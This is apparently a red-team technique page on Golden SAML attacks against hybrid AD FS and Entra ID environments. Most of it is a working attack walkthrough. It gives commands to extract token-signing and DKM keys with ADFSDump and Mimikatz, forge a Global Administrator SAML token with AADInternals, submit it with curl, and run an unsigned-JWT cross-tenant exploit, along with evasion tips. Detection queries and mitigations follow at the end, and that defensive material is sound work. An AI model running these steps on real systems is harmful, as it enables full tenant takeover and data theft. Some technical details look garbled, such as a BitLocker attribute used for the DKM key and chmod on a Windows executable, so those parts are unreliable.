| Attribute | Details |
|---|---|
| Technique ID | CA-FORGE-001 |
| MITRE ATT&CK v18.1 | T1606.002: Forge Web Credentials: SAML Tokens |
| Tactic | Credential Access |
| Platforms | Hybrid M365 (AD FS + Entra ID) |
| Severity | Critical |
| CVE | CVE-2021-26906 (Predecessor); Related: CVE-2025-55241 (Actor Token Forgery) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | AD FS 2019, AD FS 4.0 (Windows Server 2016/2019/2022) when Entra Connect hybrid configured |
| Patched In | Ongoing via certificate rotation policies, Hardware Security Module (HSM) enforcement, audit controls |
| Author | SERVTEP – Artur Pchelnikau |
Note: Golden SAML is exclusive to hybrid environments with AD FS. Pure cloud (Entra ID only) environments are NOT affected. Atomic Red Team tests not applicable (requires AD FS lab setup).
Concept: Golden SAML is a privilege escalation attack targeting federated identity environments. When an organization uses Active Directory Federation Services (AD FS) to federate with Microsoft Entra ID, AD FS cryptographically signs SAML tokens using a private key stored in a Distributed Key Management (DKM) store. If an attacker obtains the AD FS token-signing certificate and its private key, they can forge SAML tokens claiming any identity (including Global Administrators) without knowing passwords or having access to MFA devices. These forged tokens are accepted by Entra ID as legitimate, granting the attacker unrestricted access to M365 services.
Attack Surface: The attack surface includes the AD FS server itself (requires Domain Admin access to extract certificates), the Active Directory DKM container (holds encrypted token-signing keys), and the trust relationship between AD FS and Entra ID. Compromise requires either:
Business Impact: Full tenant compromise with unrestricted administrative access. An attacker who forges a Global Administrator SAML token can create backdoor accounts, disable MFA, exfiltrate all data, modify security policies, and establish persistent access across M365. Unlike other attacks (credential theft, MFA bypass), Golden SAML leaves minimal audit traces, making detection exceptionally difficult and investigation time-intensive.
Technical Context: Golden SAML is typically the culmination of a sophisticated attack chain. The attacker first compromises on-premises Active Directory (via phishing, credential theft, or supply-chain compromise), escalates to Domain Admin, then pivots to the AD FS server to extract cryptographic material. The attack’s sophistication explains why it was weaponized in the SolarWinds compromise and why organizations with hybrid setups remain at elevated risk.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.1 (Certificate Management), 6.1 (Privileged Access) | AD FS certificates not secured in HSM; Domain Admin unrestricted access to private keys. |
| DISA STIG | IA-5(2)(d) | Public key infrastructure (PKI) must protect private keys; AD FS keys stored in software-based DKM. |
| CISA SCuBA | MS.FEDRAMP.04 | Hybrid identity: Require HSM-backed certificate storage for federation. |
| NIST 800-53 | AU-7 (Audit Reduction), SC-12 (Cryptographic Key Establishment) | AD FS audit logs insufficient to detect forged tokens; keys not in tamper-proof storage. |
| GDPR | Art. 32 (Security of Processing) | Failure to implement technical measures (HSM, key protection) for identity layer. |
| NIS2 | Art. 21 (Multi-factor Authentication) | Hybrid infrastructure must protect federated authentication channels; compromise of AD FS violates principle. |
| ISO 27001 | A.10.1 (Cryptographic Controls), A.9.2.2 (Access Rights Management) | Private keys not in secure enclave; no revocation mechanism for forged tokens. |
| SOC 2 Type II | 7.2 (System Monitoring) | Failure to detect unauthorized token generation/use during audit period. |
Required Privileges:
CN=ADFS,CN=Microsoft,CN=Program Files,CN=Common Files).Required Access:
Supported Versions:
Tools:
Objective: Determine if organization uses AD FS + Entra ID hybrid setup (required for Golden SAML).
Command (PowerShell - Check AD FS Trust):
# From any domain-joined computer
Get-AdfsProperties | Select-Object HostName, FederationServiceName, Identifier
# Output:
# HostName: adfs.company.com
# FederationServiceName: company.com
# Identifier: https://adfs.company.com/adfs/services/trust
Command (Entra ID - Verify Federation):
Connect-MgGraph
Get-MgOrganization | Select-Object ComplianceExposure, IsMultiTenantOrg, DirSyncEnabled
# If hybrid: DirSyncEnabled = true, and federation is active
What to Look For:
OpSec & Evasion: Queries generate no logs if performed from compromised domain-joined machine.
Objective: Identify the AD FS server and certificate storage location.
Command (PowerShell - List AD FS Certificates):
# Requires Domain Admin or AD FS admin access
$adfsServer = "ADFS01.company.com"
Invoke-Command -ComputerName $adfsServer -ScriptBlock {
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Thumbprint, NotBefore, NotAfter
}
# Output:
# Thumbprint: ABC123...
# NotBefore: 2024-01-01
# NotAfter: 2026-01-01
What to Look For:
OpSec & Evasion: Certificate enumeration generates access logs on AD FS server (detectable).
Objective: Extract AD FS token-signing certificate and private key using ADFSDump.
Prerequisites: Domain Admin privileges or AD FS admin access.
Command (Gain AD FS Admin Context):
# If already Domain Admin, directly access AD FS
# If not DA but AD FS admin:
$credential = Get-Credential # Enter AD FS admin credentials
Invoke-Command -ComputerName ADFS01.company.com -Credential $credential -ScriptBlock {
# Will execute subsequent steps in AD FS admin context
}
Command (ADFSDump - Extract Certificate):
# On AD FS server or via remote PowerShell session
# Requires Administrator privileges on AD FS server
wget https://github.com/mandiant/ADFSDump/releases/download/v1.0/ADFSDump.exe
.\ADFSDump.exe
# Output will display:
# [*] Token Signing Certificate:
# Thumbprint: ABC123...
# Subject: CN=ADFS Signing, O=Company, C=US
# Public Key: ...
# Private Key (ENCRYPTED): ...
#
# [*] DKM Key found in: CN=ADFS,CN=Microsoft,CN=Program Files,...
Expected Output:
[*] Connecting to AD FS database
[*] Reading configuration from AD FS
[*] Extracting token-signing certificate
[+] Certificate extracted successfully
Thumbprint: ABC123DEF456...
Subject: CN=ADFS Signing
Issuer: CN=ADFS Signing
Public Key Algorithm: RSA
Public Key Size: 2048
Private Key: ENCRYPTED (DPAPI)
[+] DKM Key location: AD://CN=ADFS,CN=Microsoft,...
What This Means:
OpSec & Evasion:
Objective: Retrieve the Distributed Key Manager (DKM) key stored in AD, allowing private key decryption.
Command (LDAP Query - Extract DKM Key):
# Requires read access to AD (standard domain user can perform this)
# But Domain Admin context provides guaranteed access
$adfsContainer = Get-ADObject -Filter "ObjectClass -eq 'msFVE-RecoveryInformation'" -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Files,CN=Common Files,CN=System,$((Get-ADDomain).DistinguishedName)"
# Alternative: Use LDAP directly
$ldapConnection = New-Object System.DirectoryServices.DirectoryEntry "LDAP://CN=ADFS,CN=Microsoft,CN=Program Files,CN=Common Files,CN=System,..."
$dkmObject = $ldapConnection.Children | Where-Object { $_.Name -like "*DKM*" }
$dkmKey = $dkmObject.Properties["msFVE-RecoveryInformation"][0]
Write-Host "DKM Key: $dkmKey"
Expected Output:
[+] DKM Key found: F3E2D1C0B9A8...
[+] Key is base64-encoded and DPAPI-encrypted
What This Means:
OpSec & Evasion:
Command (Mimikatz - DPAPI Decryption):
# On AD FS server with local admin access
mimikatz.exe
mimikatz # dpapi::capi
mimikatz # dpapi::masterkey /in:C:\ProgramData\Microsoft\Windows\Crypto\RSA\S-1-5-... /pvk:...
# Output will show decrypted private key
Expected Output:
[+] Private Key Decrypted:
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC...
(PEM-formatted RSA private key)
What This Means:
Objective: Create a forged SAML token claiming to be a Global Administrator.
Prerequisites: Extracted token-signing certificate private key from Step 1.
Command (PowerShell - Gather Required Attributes):
# Import AADInternals
Import-Module AADInternals
# Get target user details
$targetUser = "admin@company.com"
$tenantId = (Get-MgOrganization).Id
$targetUserUPN = "admin@company.com"
# Get target user's ObjectGUID (ImmutableID)
# This requires AD access
$adUser = Get-ADUser -Filter "UserPrincipalName -eq '$targetUserUPN'" -Properties ObjectGUID
$immutableId = [Convert]::ToBase64String($adUser.ObjectGUID.ToByteArray())
Write-Host "Target: $targetUser"
Write-Host "ImmutableID: $immutableId"
Write-Host "TenantID: $tenantId"
Expected Output:
Target: admin@company.com
ImmutableID: AbCdEfGhIjKlMnOpQrStUvWxYz==
TenantID: 12345678-1234-1234-1234-123456789012
What to Look For:
OpSec & Evasion: AD query may be logged; perform during business hours.
Command (PowerShell - Forge SAML Token):
# Load extracted certificate and private key
$certPath = "C:\extracted\token-signing-cert.pfx"
$certPassword = ConvertTo-SecureString "password" -AsPlainText -Force
$cert = Get-PfxCertificate -FilePath $certPath
# Use AADInternals to forge SAML token
$samlToken = New-AADIntSAMLToken `
-IssuerUrl "https://adfs.company.com/adfs/services/trust" `
-Audience "https://login.microsoftonline.com/12345678-1234.../saml2" `
-UserPrincipalName "admin@company.com" `
-ImmutableId "AbCdEfGhIjKlMnOpQrStUvWxYz==" `
-Certificate $cert `
-TenantId "12345678-1234-1234-1234-123456789012" `
-NotOnOrAfter (Get-Date).AddYears(10) # Validity: 10 years for persistence
Write-Host "Forged SAML Token:`n$samlToken"
Expected Output:
<saml:Assertion Version="2.0" ID="..." IssueInstant="2025-01-08T12:00:00Z">
<saml:Issuer>https://adfs.company.com/adfs/services/trust</saml:Issuer>
<saml:Subject>
<saml:NameID>admin@company.com</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="..." NotOnOrAfter="2035-01-08...">
<saml:AudienceRestriction>
<saml:Audience>https://login.microsoftonline.com/12345678.../saml2</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement>...</saml:AuthnStatement>
<ds:Signature>
<ds:SignatureValue>ABC123DEF456...=</ds:SignatureValue> <!-- Signed with stolen private key -->
</ds:Signature>
</saml:Assertion>
What This Means:
Token Breakdown:
OpSec & Evasion:
Objective: Submit forged SAML token to Entra ID and obtain access token.
Command (cURL - Submit SAML Token to Entra ID):
# Prepare SAML token for POST request
SAML_TOKEN="PD94bWwgdmVyc2lvbj0iMS4wIj8+PFNBTUxBc3NlcnRpb24..." # Base64-encoded forged token
# Submit to Entra ID SAML endpoint
curl -i -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "SAMLResponse=$SAML_TOKEN&RelayState=AADB2" \
"https://login.microsoftonline.com/12345678-1234-1234-1234-123456789012/saml2"
Expected Response:
HTTP/1.1 302 Found
Location: https://myapps.microsoft.com/?SAMLAuthenticationTokenReceived=true
Set-Cookie: ESTSAUTHPERSISTENT=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ...
Set-Cookie: ESTSAUTH=...
What This Means:
OpSec & Evasion:
Command (PowerShell - Connect as Impersonated Admin):
# Set session cookies from SAML authentication
$headers = @{
"Authorization" = "Bearer $accessToken" # Access token from SAML response
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..."
}
# Access Microsoft Graph as Global Admin
$adminInfo = Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/me/memberOf" `
-Headers $headers
Write-Host "Groups: $($adminInfo.value | Select-Object displayName)"
# Output will show Global Administrator role is present
Expected Output:
Groups:
- Global Administrator
- Company Administrator
- User Administrators
- Privileged Role Administrator
What This Means:
Objective: Exploit CVE-2025-55241 to forge actor tokens and impersonate users across tenant boundaries.
Note: This attack differs from Golden SAML; includes cross-tenant compromise potential.
Prerequisites: Basic Entra ID access in attacker’s own tenant (legitimate account).
Command (Python - Create Actor Token):
import jwt
import json
from datetime import datetime, timedelta
# Actor token payload (JWT)
payload = {
"iss": "https://sts.windows.net/attacker-tenant-id/",
"aud": "https://graph.microsoft.com",
"sub": "attacker@attacker-tenant.com",
"oid": "attacker-object-id",
"tid": "attacker-tenant-id",
"iat": int(datetime.utcnow().timestamp()),
"exp": int((datetime.utcnow() + timedelta(hours=1)).timestamp()),
"scp": ["Directory.Read.All", "User.Read.All"],
"appid": "00000003-0000-0000-c000-000000000000" # Graph App ID
}
# Sign with attacker's token (if available) or unsigned (exploit)
# CVE-2025-55241: Azure AD Graph API accepts unsigned tokens
token_unsigned = jwt.encode(payload, "", algorithm="none")
print(f"Actor Token (Unsigned): {token_unsigned}")
Expected Output:
Actor Token (Unsigned): eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9hdHRhY2tlci10ZW5hbnQtaWQvIi...
What This Means:
Command (cURL - Cross-Tenant Impersonation):
# Change tenant ID in API call to victim tenant
ATTACKER_TOKEN="eyJhbGciOiJub25lIi..."
VICTIM_TENANT_ID="victim-tenant-id"
# Request access to victim tenant resource
curl -i -X GET \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "X-Tenant-Id: $VICTIM_TENANT_ID" \
"https://graph.microsoft.com/v1.0/tenants/$VICTIM_TENANT_ID/users"
Expected Response:
HTTP/1.1 200 OK
{
"value": [
{
"id": "user-id",
"displayName": "Global Administrator",
"userPrincipalName": "admin@victim-company.com"
}
]
}
What This Means:
OpSec & Evasion:
Version: Latest (4.9+) Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.0+
Installation:
Install-Module AADInternals
Import-Module AADInternals
Usage:
# Extract AD FS configuration
Get-AADIntADFSSyncCredentials
# Forge SAML token
$token = New-AADIntSAMLToken -Certificate $cert ...
# Get user details for impersonation
Get-AADIntUser -Identity "admin@company.com"
Version: 1.0+ Supported Platforms: Windows (requires ADFS server access)
Installation:
wget https://github.com/mandiant/ADFSDump/releases/download/v1.0/ADFSDump.exe
chmod +x ADFSDump.exe
KQL Query:
SigninLogs
| where FederatedCredentialUsed == true
| where ResultType == 0 // Successful sign-in
| join kind=leftanti (
Event
| where Source == "AD FS"
| where EventID == 1200 or EventID == 1202 // AD FS authentication events
| project CorrelationId_ADFS = CorrelationId, TimeGenerated
) on $left.CorrelationId == $right.CorrelationId_ADFS
| where TimeGenerated > ago(24h)
| project UserPrincipalName, CorrelationId, IPAddress, LocationDetails.countryOrRegion
What This Detects:
KQL Query:
SecurityEvent
| where EventID == 33205 // AD FS certificate export attempt
| project TimeGenerated, Computer, Account, EventData
| where EventData contains "Token-Signing"
What This Detects:
Event ID: 33205 (AD FS Certificate Export Attempt)
Event ID: 4662 (Active Directory DS Access - DKM Key Query)
AD FS Server Logs:
Entra ID Logs:
Network:
AD FS Server:
C:\ProgramData\Microsoft\ADFS\Data\ – AD FS configuration and DKM references.HKEY_LOCAL_MACHINE\Software\Microsoft\ADFS\ – Certificate thumbprints.Domain Controller:
CN=ADFS,CN=Microsoft,CN=Program Files,...Command (Rotate Token-Signing Certificate - CRITICAL):
# On AD FS server - Rotate certificate TWICE to invalidate all forged tokens
# Rotation 1
Update-AdfsCertificate -CertificateType Token-Signing -AutoCertificateRollover $true
# Wait 5 minutes
Start-Sleep -Seconds 300
# Rotation 2 (invalidates first rotation)
Update-AdfsCertificate -CertificateType Token-Signing -AutoCertificateRollover $true
# Verify new certificate active
Get-AdfsCertificate -CertificateType Token-Signing
Expected Output:
Thumbprint: ABC123... (NEW)
NotBefore: 2025-01-08
NotAfter: 2027-01-08
Status: Active
What This Accomplishes:
Manual Steps:
Manual Steps:
Set-AdfsCertificateAutoRollover -Enable $true -DaysBeforeExpiry 30
Manual Steps (Privileged Access Workstation):
Manual Steps:
Computer Configuration → Administrative Templates → AD FSAudit Application Generated EventsManual Steps:
Validation Command:
# Verify HSM in use
$cert = Get-AdfsCertificate -CertificateType Token-Signing
if ($cert.PrivateKeyProvider -like "*HSM*") {
Write-Host "[+] Token-signing certificate protected by HSM"
} else {
Write-Host "[-] WARNING: Certificate not in HSM"
}
# Verify certificate rotation
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object NotBefore, NotAfter | ForEach-Object {
$age = (Get-Date) - $_.NotBefore
if ($age.Days -gt 180) {
Write-Host "[-] Certificate over 6 months old; rotation recommended"
} else {
Write-Host "[+] Certificate age acceptable: $($age.Days) days"
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Spear Phishing | Attacker targets domain user or admin. |
| 2 | Lateral Movement | [LM-PRIV-001] Credential Theft / Kerberoasting | Attacker obtains domain credentials. |
| 3 | Privilege Escalation | [PE-ADMIN-001] Domain Admin Compromise | Attacker escalates to Domain Admin. |
| 4 | Credential Access - This Step | [CA-FORGE-001] Golden SAML | Attacker extracts token-signing certificate. |
| 5 | Lateral Movement to Cloud | [LM-AUTH-008] Entra ID Global Admin Impersonation | Attacker forges SAML token as GA. |
| 6 | Persistence | Create backdoor admin account, disable MFA | Attacker ensures long-term access. |
| 7 | Impact | Full M365 data exfiltration | Attacker steals sensitive data. |
Golden SAML represents the most dangerous post-compromise attack in hybrid M365 environments. Once an attacker obtains the AD FS token-signing certificate, they become the “owner” of the federation trust, with indefinite access to the cloud tenant until the certificate is rotated. The attack is exceptionally difficult to detect because forged SAML tokens appear as legitimate Entra ID authentications, bypassing all security controls (MFA, Conditional Access, device compliance).
Defense requires:
Organizations with hybrid setups should prioritize HSM deployment and certificate rotation as the top priority for preventing Golden SAML attacks.